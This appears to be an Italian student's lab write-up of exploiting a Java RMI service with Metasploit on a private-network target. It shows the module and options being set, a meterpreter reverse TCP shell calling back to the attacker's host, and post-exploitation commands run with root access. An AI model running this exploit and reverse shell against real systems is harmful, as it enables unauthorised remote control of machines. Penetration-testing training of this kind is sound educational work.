PROGETTO SETTIMANALE

Exploit con Metasploit

3-10-2023

Dopo aver trovato la vulnerabilità da sfruttare uso il comando "search" per trovare un exploit adatto per l'attacco, il payload di default mi permette una volta eseguita la breccia di passare la sessione normale ad una di meterpreter da cui posso lanciare comandi avanzati direttamente sulla macchina vittima, quindi configuro le opzioni e faccio partire l'attacco.

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.12
RHOSTS ⇒ 192.168.11.12
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.11
LHOST ⇒ 192.168.11.11
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
meterpreter > getuid
Server username: root
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.12
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6b:ce22
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
===================

    Subnet         Netmask        Gateway  Metric  Interface
    ------         -------        -------  ------  ---------
    127.0.0.1      255.0.0.0      0.0.0.0
    192.168.11.12  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                   Netmask  Gateway  Metric  Interface
    ------                   -------  -------  ------  ---------
    ::1                      ::       ::
    fe80::a00:27ff:fe6b:ce22  ::       ::
```

Come si può vedere mi trovo nella macchina vittima con un utente di tipo root, questo vuol dire che ho un controllo illimitato su di essa e posso svolgere qualsiasi azione che normalmente sarebbe un'esclusiva del proprietario del sistema.
In questo caso eseguo dei comandi specifici di meterpreter che mi permettono di visualizzare le impostazioni di rete e la routing table.